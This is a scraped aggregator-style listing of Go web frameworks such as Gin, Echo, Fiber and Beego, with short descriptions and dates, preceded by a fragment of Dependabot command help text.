    • @dependabot use these reviewers will set the current reviewers as the default for future PRs for this repo and language
    • @dependabot use these assignees will set the current assignees as the default for future PRs for this repo and language
    • @dependabot use this milestone will set the current milestone as the default for future PRs for this repo and language

    You can disable automated security fix PRs for this repo from the Security Alerts page.

Golanger Web Framework is a lightweight framework for writing web applications in Go.

/* Copyright 2013 Golanger.com. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except

Mar 3, 2022
The jin is a simplified version of the gin web framework that can help you quickly understand the core principles of a web framework.

jin About The jin is a simplified version of the gin web framework that can help you quickly understand the core principles of a web framework. If thi

Jul 14, 2022
⚡ Rux is an simple and fast web framework. support middleware, compatible http.Handler interface. 简单且快速的 Go web 框架,支持中间件,兼容 http.Handler 接口

Rux Simple and fast web framework for build golang HTTP applications. NOTICE: v1.3.x is not fully compatible with v1.2.x version Fast route match, sup

Jul 20, 2022
Roche is a Code Generator and Web Framework, makes web development super concise with Go, CleanArch
Roche is a Code Generator and Web Framework, makes web development super concise with Go, CleanArch

It is still under development, so please do not use it. We plan to release v.1.0.0 in the summer. roche is a web framework optimized for microservice

May 21, 2022
A powerful go web framework for highly scalable and resource efficient web application

webfr A powerful go web framework for highly scalable and resource efficient web application Installation: go get -u github.com/krishpranav/webfr Exa

Nov 28, 2021
A powerful go web framework for highly scalable and resource efficient web application

A powerful go web framework for highly scalable and resource efficient web application

May 25, 2022
A web app built using Go Buffalo web framework

Welcome to Buffalo Thank you for choosing Buffalo for your web development needs. Database Setup It looks like you chose to set up your application us

Feb 7, 2022
laravel for golang,goal,fullstack framework,api framework
laravel for golang,goal,fullstack framework,api framework

laravel for golang,goal,fullstack framework,api framework

Feb 24, 2022
Gin is a HTTP web framework written in Go (Golang).
Gin is a HTTP web framework written in Go (Golang).

Gin is a HTTP web framework written in Go (Golang). It features a Martini-like API with much better performance -- up to 40 times faster. If you need smashing performance, get yourself some Gin.

Sep 19, 2022
An ideally refined web framework for Go.

Air An ideally refined web framework for Go. High-performance? Fastest? Almost all web frameworks are using these words to tell people that they are t

Sep 14, 2022
An opinionated productive web framework that helps scaling business easier.
An opinionated productive web framework that helps scaling business easier.

appy An opinionated productive web framework that helps scaling business easier, i.e. focus on monolith first, only move to microservices with GRPC la

Sep 12, 2022
BANjO is a simple web framework written in Go (golang)

BANjO banjo it's a simple web framework for building simple web applications Install $ go get github.com/nsheremet/banjo Example Usage Simple Web App

Jan 24, 2022
beego is an open-source, high-performance web framework for the Go programming language.
beego is an open-source, high-performance web framework for the Go programming language.

Beego Beego is used for rapid development of enterprise application in Go, including RESTful APIs, web apps and backend services. It is inspired by To

Sep 25, 2022
High performance, minimalist Go web framework
High performance, minimalist Go web framework

Supported Go versions As of version 4.0.0, Echo is available as a Go module. Therefore a Go version capable of understanding /vN suffixed imports is r

Sep 28, 2022
⚡️ Express inspired web framework written in Go
⚡️ Express inspired web framework written in Go

Fiber is an Express inspired web framework built on top of Fasthttp, the fastest HTTP engine for Go. Designed to ease things up for fast development w

Sep 19, 2022
Go web framework with a natural feel

Fireball Overview Fireball is a package for Go web applications. The primary goal of this package is to make routing, response writing, and error hand

Jul 22, 2022
Gearbox :gear: is a web framework written in Go with a focus on high performance
Gearbox :gear: is a web framework written in Go with a focus on high performance

gearbox ⚙️ is a web framework for building micro services written in Go with a focus on high performance. It's built on fasthttp which is up to 10x fa

Sep 27, 2022
Goa is a web framework based on middleware, like koa.js.

Goa Goa is under construction, if you are familiar with koa or go and interested in this project, please join us. What is goa? goa = go + koa Just lik

May 17, 2022